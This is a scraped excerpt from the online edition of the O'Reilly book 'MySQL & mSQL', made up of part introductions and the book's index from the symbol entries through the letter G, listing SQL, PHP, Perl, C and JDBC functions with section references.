Chapter 19: C Reference
Chapter 20: Python Reference
Chapter 21: Perl Reference
Chapter 22: JDBC Reference

Index
Colophon

Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Getting Started with MySQL and mSQL (MySQL & mSQL)

 MySQL and mSQLSearch this book

Part I. Getting Started with MySQL and mSQL

The first section of this book starts off by introducing you to relational database concepts and design. With the proper background in place, we will dive into the details of getting started with MySQL and mSQL. Perhaps you are already committed to one of these excellent database engines and are expecting this book to help you work with that database. In that case, you can focus on your database of choice and ignore areas devoted to the other. If, on the other hand, you have yet to make a choice, this section should cover enough of the basics to help you make the right choice for your situation. By the end of this section, you should have your database installed and configured, and you should be prepared to take on the subject of database programming, which is found in Part II, "Database Programming".

Previous | Home | Next
0.7. Acknowledgments | Book Index | 1. Introduction to Relational Databases
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Database Programming (MySQL & mSQL)

 MySQL and mSQLSearch this book

Part II. Database Programming

The power of a database is realized in the tools that use it. In this section, we talk about how you build those tools using a variety of today's popular programming languages. From web-based programming to business application development, we will discuss the APIs and tools necessary for using MySQL and mSQL to their fullest potential. This second section starts with a couple of high-level chapters on database application architectures and CGI programming. The meat of the section, however, deals with programming for MySQL and mSQL in various programming languages.

Previous | Home | Next
7.6. Making Comparisons | Book Index | 8. Database Application Architectures
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Reference (MySQL & mSQL)

 MySQL and mSQLSearch this book

Part III. Reference

This section provides reference materials for all of the APIs and tools we have covered in this book.

Previous | Home | Next
14.4. A Guest Book Servlet | Book Index | 15. SQL Reference
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Index: MySQL & mSQL (MySQL & mSQL)

MySQL & mSQLSearch this book

Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Previous | Home | Next
22. JDBC Reference | Book Index | Colophon
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: 0 (MySQL & mSQL)

MySQL and mSQLSearch this book

Index: 0

-# LOG option: 4.4.1.6. Command line options for mysqladmin
-? option: 4.4.1.6. Command line options for mysqladmin
$ anchor, Msql.pm: 10.3. Msql.pm
\ (backslash)
escape character: 6.6.1. Inserts
exporting tab delimited data: 15.1. MySQL SQL
# character, for comments: 16.1.3. The MySQL Configuration File
\# command: 17.1. MySQL Utilities
\e command: 17.2. mSQL Utilities
# (hash) mark, for deprecated methods: 22. JDBC Reference
? (question mark, placeholder in JDBC: 22. JDBC Reference
% value, in MySQL security tables: 4.4.3.1. The user table
* wildcard: 5.5.3. Security
; (semicolon), in incoming data: 9.4.2. Security

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: A (MySQL & mSQL)

MySQL and mSQLSearch this book

Index: A

abs( ) function: 18.1. PHP
18.1. PHP
absolute( ) method: 22. JDBC Reference
acceptsURL( ) method: 22. JDBC Reference
access control, stages: 4.4.3.5. The stages of access control
access rights: 4.4.3.1. The user table
access_to_mysql utility: 4.5.2.1. Database conversion utilities
ACL file: 5.5.3. Security
ACOS( ) function: 15.1. MySQL SQL
addBatch( ) method: 22. JDBC Reference
22. JDBC Reference
address book application: 8.3. Object/Relational Modeling
8.3. Object/Relational Modeling
8.3. Object/Relational Modeling
addslashes( ) function: 18.1. PHP
18.1. PHP
Admin_User variable: 16.2.2.1. general
affected_rows value: 13.2.1.3. Making Calls to the database
after( ) method: 22. JDBC Reference
afterLast( ) method: 22. JDBC Reference
aliasing: 6.7.2. Aliasing
ALTER statement: 15.1. MySQL SQL
ALTER TABLE command: 6.3.2.1. Variable-length character fields in MySQL
anchoring $, Msql.pm: 10.3. Msql.pm
ANSI SQL: 1.2. What Is a Relational Database?
ANSI SQL2 specification: 5.2. mSQL Versions
6.6.1. Inserts
ANSI SQL statements: 4.1. Design
Apache: 5.6.2.5. Miscellaneous
9.3. The CGI Specification
12.2.2. Installation
application server: 8.4. The Three-tier Architecture
Array interfaces: 22. JDBC Reference
ASCII( ) function: 15.1. MySQL SQL
ASIN( ) function: 15.1. MySQL SQL
asort( ) function: 18.1. PHP
18.1. PHP
ATAN( ) function: 15.1. MySQL SQL
attributes, entity: 2.1.2. Entity Attributes
Auth_Host system variable: 16.2.2.3. w3-msql
auto-incrementing: 6.5. Sequences and Auto-Incrementing
available_drivers function: 21.2. DBI.pm API
AVG( ) function: 15.1. MySQL SQL

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: B (MySQL & mSQL)

MySQL and mSQLSearch this book

Index: B

back_log option: 16.1.2. Command line variables
back_log variable: 4.6. Performance Tuning
backslash \, exporting tab delimited data: 15.1. MySQL SQL
backups
mSQL: 5.5.2. Backups
MySQL: 4.4.3. Security
"Bambi" (see Hughes, David)
Beagle SQL engine: 7.5. Beagle
before( ) method: 22. JDBC Reference
beforeFirst( ) method: 22. JDBC Reference
Berners-Lee, Tim: 9.1. What Is CGI?
BIGINT datatype: 15.1. MySQL SQL
BIN( ) function: 15.1. MySQL SQL
BINARY attribute: 15.1. MySQL SQL
binary datatypes: 6.3.3. Binary Datatypes
bind_col function: 21.2. DBI.pm API
bind_columns function: 21.2. DBI.pm API
bindec( ) function: 18.1. PHP
18.1. PHP
bind_param function: 21.2. DBI.pm API
BIT_AND( ) function: 15.1. MySQL SQL
BIT_OR( ) function: 15.1. MySQL SQL
BLE datatype: 15.1. MySQL SQL
BLOB (binary large object): 22. JDBC Reference
BLOB datatype: 6.3.3. Binary Datatypes
15.1. MySQL SQL
Blob interface: 22. JDBC Reference
Booch, Grady: 13.2. Object-oriented Database Access in C++
Bourne script, safe_mysqld: 4.3. Running MySQL
business rules: 8.4. The Three-tier Architecture

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: C (MySQL & mSQL)

MySQL and mSQLSearch this book

Index: C

C API connection process: 11.1. Basic Connectivity
\c command: 17.1. MySQL Utilities
C compiler: 21.1. Installation
C programs
accepting input in: 9.3.5. Accepting Input in C
APIs: 13.1. The Two APIs
mSQL APIs: 19.2. mSQL C API
MySQL APIs: 19.1. MySQL C API
CallableStatement interface: 22. JDBC Reference
cancel( ) method: 22. JDBC Reference
cancelRowUpdates( ) method: 22. JDBC Reference
cardinality: 2.2.3. Relationships
case sensitivity
HTML: 9.2. HTML Forms
keywords: 6.1.2. The Design of SQL
MySQL: 4.4.1.1. Database creation
ceil( ) function: 18.1. PHP
18.1. PHP
CEILING( ) function: 15.1. MySQL SQL
CGI
command line parameters: 9.3.2. Command Line
databases and: 9.5. CGI and Databases
datashow.cgi: 10.1. DBI
definition: 9.1. What Is CGI?
example: 9.3.1. Environment Variables
information resources: 9.4.3. Further Reading
security: 9.4.2. Security
specification: 9.3. The CGI Specification
standard output: 9.3.6. Standard Output
tabledump.cgi: 10.1. DBI
tableshow.cgi: 10.1. DBI
CGI interfaces: 4.5.2.2. CGI interfaces
cgi-bin directory: 9.3. The CGI Specification
12.2.2. Installation
cgi_encode function: 10.3. Msql.pm
CGI.pm module: 10.4. MysqlPerl
CHAR( ) function: 15.1. MySQL SQL
CHAR BINARY datatype: 6.3.3. Binary Datatypes
CHAR datatype: 5.2. mSQL Versions
6.3. SQL Datatypes
6.3.2.1. Variable-length character fields in MySQL
15.1. MySQL SQL
15.2. mSQL SQL
character types: 6.3.2. Character Types
CHARACTER_LENGTH( ) function: 15.1. MySQL SQL
CHAR_LENGTH( ) function: 15.1. MySQL SQL
chdir( ) function: 18.1. PHP
18.1. PHP
18.2. Lite
18.2. Lite
CHECK operation: 15.1. MySQL SQL
chgrp( ) function: 18.1. PHP
18.1. PHP
chimed( ) function: 18.1. PHP
18.1. PHP
chmod( ) function: 18.2. Lite
18.2. Lite
chop( ) function: 18.1. PHP
18.1. PHP
18.2. Lite
18.2. Lite
chown( ) function: 18.1. PHP
18.1. PHP
chr( ) function: 18.1. PHP
18.1. PHP
cleaning up database applications: 13.2.3.2. Cleaning up and row count
14.2.1. Error Handling and Clean Up
clear command: 17.1. MySQL Utilities
clearBatch( ) method: 22. JDBC Reference
clearParameters( ) method: 22. JDBC Reference
clearstack( ) function: 18.1. PHP
18.1. PHP
clearstatcache( ) function: 18.1. PHP
18.1. PHP
clearWarnings( ) method: 22. JDBC Reference
22. JDBC Reference
22. JDBC Reference
client/server architecture: 5.1. Design
8.1. The Client/Server Architecture
Clob interface: 22. JDBC Reference
close( ) function: 18.2. Lite
18.2. Lite
close( ) method: 13.2.3.2. Cleaning up and row count
22. JDBC Reference
22. JDBC Reference
closedir( ) function: 18.1. PHP
18.1. PHP
closelog( ) function: 18.1. PHP
18.1. PHP
Codd, E.F.: 2.2. Normalization
6.1.1. The SQL Story
code reuse: 8.4. The Three-tier Architecture
command-line variables, MySQL: 16.1.2. Command line variables
commands, MySQL server status: 4.4.1.4. Server status
comments, special characters for: 16.1.3. The MySQL Configuration File
commit( ) method: 22. JDBC Reference
commit function: 21.2. DBI.pm API
21.2. DBI.pm API
Common Gateway Interface (see CGI)
Comprehensive Perl Archive Network (CPAN): 21.1. Installation
CONCAT( ) function: 15.1. MySQL SQL
configuration file
mSQL: 5.4.2. The mSQL Configuration File
16.2.2. The mSQL Configuration File
MySQL: 16.1.3. The MySQL Configuration File
connect( ) method: 11.1. Basic Connectivity
13.2.1.1. Connecting to the database
22. JDBC Reference
Connect command: 4.4.1.4. Server status
connect function: 21.2. DBI.pm API
21.3. Msql.pm API
21.4. Mysql.pm API
Connect status: 5.5.1.4. Server status
connection API, for MySQL: 13.1. The Two APIs
Connection class: 13.2.3.2. Cleaning up and row count
Connection class header: 13.2.1. The Database Connection
Connection, in JDBC: 14.1. What Is JDBC?
Connection interface: 22. JDBC Reference
Connection, MySQL server status: 4.4.1.4. Server status
Connection object: 13.2.1. The Database Connection
connection.do( ) method: 20.1. Module: MySQL
connection.hostname attribute: 20.2. Module: mSQL
connection.listdbs( ) method: 20.2. Module: mSQL
connection.listtables( ) method: 20.1. Module: MySQL
20.2. Module: mSQL
connection.query( ) method: 20.1. Module: MySQL
20.2. Module: mSQL
connection.selectdb( ) method: 20.1. Module: MySQL
20.2. Module: mSQL
connection.serverinfo attribute: 20.2. Module: mSQL
ConNExS: 5.6.2.4. Programming interfaces
Content-type HTTP header: 9.3.6. Standard Output
CONTENT_LENGTH environment variable: 9.3.3. Standard Input
CONTENT_TYPE environment variable: 9.3.3. Standard Input
CONV( ) function: 15.1. MySQL SQL
conversion
c programs, from mSQL to MySQL: 13. C and C++
from one base to another: 15.1. MySQL SQL
cookies: 9.4.1. State Retention
copy database newdatabase command: 17.2. mSQL Utilities
corrupt data: 4.6.1.1. Repairing damaged tables
cos( ) function: 18.1. PHP
18.1. PHP
COT( ) function: 15.1. MySQL SQL
count( ) function: 18.1. PHP
18.1. PHP
country codes: 6.3.2. Character Types
"crash-me" test: 7.6. Making Comparisons
create database command: 17.2. mSQL Utilities
CREATE DATABASE statement: 15.1. MySQL SQL
15.1. MySQL SQL
create DATABASENAME command: 4.4.1.6. Command line options for mysqladmin
Create DB command: 4.4.1.4. Server status
CREATE FUNCTION command: 15.1. MySQL SQL
15.1. MySQL SQL
15.1. MySQL SQL
CREATE INDEX command: 15.1. MySQL SQL
15.2. mSQL SQL
CREATE SEQUENCE command: 10.4. MysqlPerl
15.2. mSQL SQL
CREATE statement: 15.1. MySQL SQL
15.2. mSQL SQL
CREATE TABLE statement: 2.4. Physical Database Design
5.5.2. Backups
10.2. An Example DBI Application
15.1. MySQL SQL
15.1. MySQL SQL
15.2. mSQL SQL
createdb function: 21.3. Msql.pm API
createStatement( ) method: 14.2. Simple Database Access
22. JDBC Reference
CROSS keyword: 15.1. MySQL SQL
crypt( ) function: 18.1. PHP
18.1. PHP
ctime( ) function: 18.2. Lite
18.2. Lite
Cur connections: 5.5.1.4. Server status
CURRENT_TIMESTAMP( ) function: 15.1. MySQL SQL

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: D (MySQL & mSQL)

MySQL and mSQLSearch this book

Index: D

--debug option: 4.4.1.4. Server status
data
adding to tables: 6.6. Managing Data
corruption, ISD file: 4.6.1.1. Repairing damaged tables
deleting: 6.6.4. Deletes
data directory: 4.4.1.2. Database destruction
data model
example: 2.2.7. More 2NF
2.2.8. Third Normal Form (3NF)
logical: 2.1.3. Data Model
methodology: 2.3. A Logical Data Modeling Methodology
physical: 2.4. Physical Database Design
data processing: 8.2. Data Processing
database function: 21.3. Msql.pm API
database-independent API: 10.1. DBI
in Java: 14. Java and JDBC
database-level meta-data: 11.2. Dynamic Connectivity
11.2.2. Database Meta-data
Database Management System (DBMS): 1.1. What Is a Database?
database server: 4.4. Database Administration
Database status: 5.5.1.4. Server status
DatabaseMetaData interface: 22. JDBC Reference
databases
accessing: 13.2.1. The Database Connection
accessing with JDBC API: 14.2. Simple Database Access
applications, client/server architecture: 8.1. The Client/Server Architecture
backups: 4.4.2. Backups
CGI considerations: 9.5. CGI and Databases
closing connections: 14.2.1. Error Handling and Clean Up
conversion utilities: 4.5.2.1. Database conversion utilities
creating: 5.5.1.1. Database creation
database handles: 10.1. DBI
11.1. Basic Connectivity
definition: 1.1. What Is a Database?
1.1. What Is a Database?
designing: 2.1. Database Design
disconnecting from: 13.2.1.2. Disconnecting from the database
grouping and ordering: 6.7.3. Grouping and Ordering
mid-range engines: 7. Other Mid-Range Database Engines
mSQL: 5.5. Database Administration
mSQL backups: 5.5.2. Backups
msqladmin utility: 5.5. Database Administration
mysqladmin utility: 4.4.1. The mysqladmin Utility
object-oriented: 7.2.5. Objects
purpose: 1.3. Applications and Databases
querying: 6.7. Queries
13.2.1.3. Making Calls to the database
relational: 1.2. What Is a Relational Database?
security: 4.4.3. Security
5.5.3. Security
testing: 13.1. The Two APIs
updating: 6.6.2. Updates
11.1.2. Updates
Web and: 1.3.1. Databases and the Web
Data::ShowTable module: 21.1. Installation
DataSource class: 14.1. What Is JDBC?
data_sources function: 21.2. DBI.pm API
datatypes
macros for: 13.2.4. Rows
mSQL: 5.2. mSQL Versions
15.2. mSQL SQL
19.2.1. Datatypes
MySQL: 15.1. MySQL SQL
19.1.1. Datatypes
SQL: 6.3. SQL Datatypes
TEXT: 2.4. Physical Database Design
date( ) function: 18.1. PHP
18.1. PHP
Date( ) method: 22. JDBC Reference
DATE datatype: 5.2. mSQL Versions
6.3. SQL Datatypes
6.3. SQL Datatypes
15.1. MySQL SQL
15.2. mSQL SQL
Date interface: 22. JDBC Reference
DATETIME datatype: 15.1. MySQL SQL
DAYNAME( ) function: 15.1. MySQL SQL
db, MySQL server status: 4.4.1.4. Server status
db table: 4.4.3.2. The db table
dbadmin utility: 5.6.2.2. CGI interfaces
DBC, properties files: 14.1.2. Maintaining Portability Using Properties Files
DBD/DBI (DataBase Dependent/DataBase Independent): 10.1. DBI
DBF files, dBASE: 5.6.2.1. Database conversion utilities
dbf2msql command: 5.6.2.1. Database conversion utilities
dbf2mysql utility: 4.5.2.1. Database conversion utilities
DBI
accessing databases from Perl: 10.1. DBI
example application: 10.2. An Example DBI Application
DBI module: 21.1. Installation
DBI portion of DBI/DBD module: 21.1. Installation
DBI.pm API: 21.2. DBI.pm API
dblist( ) function: 18.1. PHP
18.1. PHP
DBMS (Database Management System): 1.2. What Is a Relational Database?
Db.py API: 4.5.2.4. Programming interfaces
dbview command: 5.6.2.3. Client applications
decbin( ) function: 18.1. PHP
18.1. PHP
DECIMAL datatype: 15.1. MySQL SQL
15.1. MySQL SQL
decoct( ) utility: 18.1. PHP
18.1. PHP
decode-bits option: 16.1.2. Command line variables
DEFAULT value attribute: 15.1. MySQL SQL
degree (see cardinality)
DELETE FROM statement: 6.6.4. Deletes
DELETE statement: 15.1. MySQL SQL
15.2. mSQL SQL
Deleted blocks field, isamchk: 4.6.1. The MySQL Data Structure
deleteRow( ) method: 22. JDBC Reference
Delphi-interface utility: 4.5.2.4. Programming interfaces
deregisterDriver( ) method: 22. JDBC Reference
DESCRIBE statement: 15.1. MySQL SQL
dexhex( ) function: 18.1. PHP
18.1. PHP
disconnect function: 21.2. DBI.pm API
DISTINCT keyword: 15.1. MySQL SQL
DLEINT datatype: 15.1. MySQL SQL
do( ) method: 20.1. Module: MySQL
do function: 21.2. DBI.pm API
doPost( ) method: 14.4. A Guest Book Servlet
DOUBLEPRECISION datatype: 15.1. MySQL SQL
doubleval( ) function: 18.1. PHP
18.1. PHP
dritebuffer option: 16.1.2. Command line variables
Driver interface: 22. JDBC Reference
DriverManager interface: 14.1.1. The Database Connection
22. JDBC Reference
DriverPropertyInfo( ) method: 22. JDBC Reference
DriverPropertyInfo interface: 22. JDBC Reference
drop database command: 17.1. MySQL Utilities
17.2. mSQL Utilities
drop DATABASENAME command: 4.4.1.6. Command line options for mysqladmin
Drop DB command: 4.4.1.4. Server status
drop option: 4.4.1.2. Database destruction
5.5.1.2. Database destruction
DROP statement: 15.1. MySQL SQL
15.2. mSQL SQL
DROP TABLE command: 6.2. Creating and Dropping Tables
dropdb function: 21.3. Msql.pm API
dump2h utility: 4.5.2.4. Programming interfaces
dump_results function: 21.2. DBI.pm API
dynamic database access: 14.3. Dynamic Database Access
dynamic HTML: 9.1. What Is CGI?
12.1. Alternatives for Dynamic Content on the Web
dynamic SQL, processing: 14.3.2. Processing Dynamic SQL
dynamic tag: 12.1. Alternatives for Dynamic Content on the Web

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: E (MySQL & mSQL)

MySQL and mSQLSearch this book

Index: E

\e command: 17.1. MySQL Utilities
echo( ) function: 18.1. PHP
18.1. PHP
18.2. Lite
18.2. Lite
edit command: 17.1. MySQL Utilities
EDITOR environment variable: 16.2.1. Environment Variables
ego command: 17.1. MySQL Utilities
electronic databases, interaction: 1.3. Applications and Databases
ELT( ) function: 15.1. MySQL SQL
Emacs: 5.6.2.5. Miscellaneous
Emacs-sql-mode: 4.5.2.5. Miscellaneous
embedded Perl: 12.4. Embedded Perl
EmbPerl: 12.4.2. EmbPerl
ENCRYPT( ) function: 15.1. MySQL SQL
end( ) function: 18.1. PHP
18.1. PHP
entities: 2.1.1. Database Entities
2.2.3. Relationships
entity relationships: 2.2.3. Relationships
ENUM datatype: 6.3.4. Enumerations and Sets
15.1. MySQL SQL
environment variables
CGI and: 9.3.1. Environment Variables
mSQL: 16.2. mSQL System Variables
MySQL: 16.1. MySQL System Variables
ePerl: 12.4.1. ePerl
equals( ) method: 22. JDBC Reference
ereg( ) function: 18.1. PHP
18.1. PHP
eregi( ) function: 18.1. PHP
18.1. PHP
eregi_replace( ) function: 18.1. PHP
18.1. PHP
ereg_replace( ) function: 18.1. PHP
18.1. PHP
err function: 21.2. DBI.pm API
errmsg function: 21.3. Msql.pm API
errno function: 21.4. Mysql.pm API
error handling
APIs and: 13.1. The Two APIs
considerations: 8.2. Data Processing
issues: 13.2.2. Error Handling Issues
errstr function: 21.2. DBI.pm API
escape character: 6.6.1. Inserts
escapeshellcmd( ) function: 18.1. PHP
18.1. PHP
ESQL: 5.6.2.1. Database conversion utilities
/etc directory: 4.3. Running MySQL
eval( ) function: 18.1. PHP
18.1. PHP
exec( ) function: 18.1. PHP
18.1. PHP
execute( ) method: 14.3. Dynamic Database Access
14.3.2. Processing Dynamic SQL
22. JDBC Reference
22. JDBC Reference
execute function: 21.2. DBI.pm API
executeBatch( ) method: 22. JDBC Reference
executeQuery( ) method: 14.2. Simple Database Access
22. JDBC Reference
22. JDBC Reference
executeUpdate( ) method: 14.2. Simple Database Access
22. JDBC Reference
22. JDBC Reference
exit( ) function: 18.1. PHP
18.1. PHP
exit command: 17.1. MySQL Utilities
exp( ) function: 18.1. PHP
18.1. PHP
Expect (see Tcl)
EXPLAIN statement: 15.1. MySQL SQL
Exportsql/Importsql: 4.5.2.1. Database conversion utilities
extended-status command: 4.4.1.6. Command line options for mysqladmin

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: F (MySQL & mSQL)

MySQL and mSQLSearch this book

Index: F

fclose( ) function: 18.1. PHP
18.1. PHP
feof( ) function: 18.1. PHP
18.1. PHP
fetch function: 21.2. DBI.pm API
fetchall_arrayref function: 21.2. DBI.pm API
fetchrow_array function: 21.2. DBI.pm API
fetchrow_arrayref function: 21.2. DBI.pm API
21.2. DBI.pm API
fetchrow_hashref function: 21.2. DBI.pm API
fetchrows( ) method: 11.2.1. MySQL Statement Handlers
fgets( ) function: 18.1. PHP
18.1. PHP
fgetss( ) function: 18.1. PHP
18.1. PHP
FIELD( ) function: 15.1. MySQL SQL
field delimiters, removing: 15.1. MySQL SQL
Field List command: 4.4.1.4. Server status
FIELDS ENCLOSED BY modifier: 15.1. MySQL SQL
FIELDS keyword: 15.1. MySQL SQL
FIELD_TYPE_* function: 21.4. Mysql.pm API
file( ) function: 18.1. PHP
18.1. PHP
file as output of SELECT: 15.1. MySQL SQL
fileatime( ) function: 18.1. PHP
18.1. PHP
filectime( ) function: 18.1. PHP
18.1. PHP
filegroup( ) function: 18.1. PHP
18.1. PHP
fileinode( ) function: 18.1. PHP
18.1. PHP
filemtime( ) function: 18.1. PHP
18.1. PHP
fileowner( ) function: 18.1. PHP
18.1. PHP
fileperms( ) function: 18.1. PHP
18.1. PHP
filesize( ) function: 18.1. PHP
18.1. PHP
filetype( ) function: 18.1. PHP
18.1. PHP
findColumn( ) method: 22. JDBC Reference
findres utility: 4.5.2.5. Miscellaneous
finger utility: 9.4.2. Security
finish function: 21.2. DBI.pm API
first( ) method: 22. JDBC Reference
first normal form (see normalization, first normal form)
FLOAT datatype: 15.1. MySQL SQL
floor( ) function: 18.1. PHP
18.1. PHP
flush( ) function: 18.1. PHP
18.1. PHP
flush-hosts command: 4.4.1.6. Command line options for mysqladmin
17.1. MySQL Utilities
flush-logs command: 4.4.1.6. Command line options for mysqladmin
17.1. MySQL Utilities
flush-privileges command: 4.4.1.6. Command line options for mysqladmin
FLUSH statement: 15.1. MySQL SQL
flush-tables command: 4.4.1.6. Command line options for mysqladmin
17.1. MySQL Utilities
Flush tables, MySQL server status: 4.4.1.4. Server status
FOO environment variable: 9.3.1. Environment Variables
Footer system variable: 16.2.2.3. w3-msql
fopen( ) function: 18.1. PHP
18.1. PHP
Force_Private system variable: 16.2.2.3. w3-msql
FOREIGN KEY operation: 15.1. MySQL SQL
15.1. MySQL SQL
forking daemon: 4.3. Running MySQL
FORMAT function: 15.1. MySQL SQL
formread program: 9.3. The CGI Specification
fpassthru( ) function: 18.1. PHP
18.1. PHP
fprintf( ) function: 18.2. Lite
18.2. Lite
fputs( ) function: 18.1. PHP
18.1. PHP
FROM_DAYS( ) function: 15.1. MySQL SQL
FROM_UNIXTIME( ) function: 15.1. MySQL SQL
fseek( ) function: 18.1. PHP
18.1. PHP
fsockopen( ) function: 18.1. PHP
18.1. PHP
ftell( ) function: 18.1. PHP
18.1. PHP
func function: 21.2. DBI.pm API

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: G (MySQL & mSQL)

MySQL and mSQLSearch this book

Index: G

\g command: 17.2. mSQL Utilities
GET method: 9.3.3. Standard Input
getaccdir( ) function: 18.1. PHP
18.1. PHP
getArray( ) method: 22. JDBC Reference
22. JDBC Reference
22. JDBC Reference
getAsciiStream( ) method: 22. JDBC Reference
22. JDBC Reference
getAttributes( ) method: 22. JDBC Reference
getAutoCommit( ) method: 22. JDBC Reference
getBaseType( ) method: 22. JDBC Reference
getBaseTypeName( ) method: 22. JDBC Reference
22. JDBC Reference
getBinaryStream( ) method: 22. JDBC Reference
22. JDBC Reference
getBlob( ) method: 22. JDBC Reference
22. JDBC Reference
getBoolean( ) method: 22. JDBC Reference
22. JDBC Reference
getByte( ) method: 22. JDBC Reference
22. JDBC Reference
getBytes( ) method: 22. JDBC Reference
22. JDBC Reference
22. JDBC Reference
getCatalog( ) method: 22. JDBC Reference
getCatalogName( ) method: 22. JDBC Reference
getCharacterStream( ) method: 22. JDBC Reference
22. JDBC Reference
getClob( ) method: 22. JDBC Reference
22. JDBC Reference
getColumnClassName( ) method: 22. JDBC Reference
getColumnCount( ) method: 22. JDBC Reference
getColumnDisplaySize( ) method: 22. JDBC Reference
getColumnLabel( ) method: 22. JDBC Reference
getColumnName( ) method: 22. JDBC Reference
getColumnType( ) method: 22. JDBC Reference
getColumnTypeName( ) method: 22. JDBC Reference
getConcurrency( ) method: 22. JDBC Reference
getConnection( ) method: 14.1.1. The Database Connection
22. JDBC Reference
22. JDBC Reference
GetCurrentRow( ) method: 13.2.3.1. Navigating results
getCursorName( ) method: 22. JDBC Reference
getDate( ) method: 22. JDBC Reference
22. JDBC Reference
22. JDBC Reference
getDay( ) method: 22. JDBC Reference
getDouble( ) method: 22. JDBC Reference
22. JDBC Reference
getDriver( ) method: 22. JDBC Reference
getDrivers( ) method: 22. JDBC Reference
getenv( ) function: 18.1. PHP
18.1. PHP
GetError( ) method: 13.2.1.4. Other Connection behaviors
getFetchDirection( ) method: 22. JDBC Reference
22. JDBC Reference
getFetchSize( ) method: 22. JDBC Reference
getFloat( ) method: 22. JDBC Reference
22. JDBC Reference
gethostbyaddr( ) function: 18.1. PHP
18.1. PHP
18.2. Lite
18.2. Lite
gethostbyname( ) function: 18.1. PHP
18.1. PHP
18.2. Lite
18.2. Lite
getimagesize( ) function: 18.1. PHP
18.1. PHP
getInt( ) method: 14.2. Simple Database Access
22. JDBC Reference
22. JDBC Reference
getlastaccess( ) function: 18.1. PHP
18.1. PHP
getlastbrowser( ) function: 18.1. PHP
18.1. PHP
getlastemail( ) function: 18.1. PHP
18.1. PHP
getlasthost( ) function: 18.1. PHP
18.1. PHP
getlastmod( ) function: 18.1. PHP
18.1. PHP
getlastref( ) function: 18.1. PHP
18.1. PHP
GET_LOCK( ) function: 15.1. MySQL SQL
getlogdir( ) function: 18.1. PHP
18.1. PHP
getLoginTimeout( ) method: 22. JDBC Reference
getLogStream( ) method: 22. JDBC Reference
getLong( ) method: 22. JDBC Reference
22. JDBC Reference
getMajorVersion( ) method: 22. JDBC Reference
getMaxFieldSize( ) method: 22. JDBC Reference
getMaxRows( ) method: 22. JDBC Reference
getMetaData( ) method: 14.3.1. Meta Data
22. JDBC Reference
22. JDBC Reference
22. JDBC Reference
getMinorVersion( ) method: 22. JDBC Reference
getMonth( ) method: 22. JDBC Reference
getMoreResults( ) method: 22. JDBC Reference
getmyinode( ) function: 18.1. PHP
18.1. PHP
getmypid( ) function: 18.1. PHP
18.1. PHP
getmyuid( ) function: 18.1. PHP
18.1. PHP
getNanos( ) method: 22. JDBC Reference
getObject( ) method: 22. JDBC Reference
22. JDBC Reference
getpid( ) function: 18.2. Lite
18.2. Lite
getPrecision( ) method: 22. JDBC Reference
getPropertyInfo( ) method: 22. JDBC Reference
getpwnam( ) function: 18.2. Lite
18.2. Lite
getpwuid( ) function: 18.2. Lite
18.2. Lite
getrandmax( ) function: 18.1. PHP
18.1. PHP
getRef( ) method: 22. JDBC Reference
22. JDBC Reference
getResultSet( ) method: 14.3.2. Processing Dynamic SQL
22. JDBC Reference
22. JDBC Reference
getResultSetConcurrency( ) method: 22. JDBC Reference
getResultSetType( ) method: 22. JDBC Reference
getRow( ) method: 22. JDBC Reference
getScale( ) method: 22. JDBC Reference
getSchemaName( ) method: 22. JDBC Reference
getsequenceinfo function: 21.3. Msql.pm API
getShort( ) method: 22. JDBC Reference
22. JDBC Reference
getSQLTypeName( ) method: 22. JDBC Reference
getstartlogging( ) function: 18.1. PHP
18.1. PHP
getStatement( ) method: 22. JDBC Reference
getString( ) method: 14.2. Simple Database Access
22. JDBC Reference
22. JDBC Reference
getSubString( ) method: 22. JDBC Reference
getTableName( ) method: 22. JDBC Reference
getTime( ) method: 22. JDBC Reference
22. JDBC Reference
getTimestamp( ) method: 22. JDBC Reference
22. JDBC Reference
gettoday( ) function: 18.1. PHP
18.1. PHP
gettotal( ) function: 18.1. PHP
18.1. PHP
getTransactionIsolation( ) method: 22. JDBC Reference
gettype( ) function: 18.1. PHP
18.1. PHP
getType( ) method: 22. JDBC Reference
getTypeMap( ) method: 22. JDBC Reference
getUnicodeStream( ) method: 22. JDBC Reference
getUpdateCount( ) method: 14.3.2. Processing Dynamic SQL
22. JDBC Reference
getWarnings( ) method: 22. JDBC Reference
22. JDBC Reference
22. JDBC Reference
22. JDBC Reference
getYear( ) method: 22. JDBC Reference
gmdate( ) function: 18.1. PHP
18.1. PHP
GNU C compiler: 13.1. The Two APIs
GNU SQL: 7.4. GNU SQL
go command: 17.1. MySQL Utilities
GRANT statement: 15.1. MySQL SQL
GREATEST( ) function: 15.1. MySQL SQL
GROUP BY column: 15.1. MySQL SQL
grouping databases: 6.7.3. Grouping and Ordering
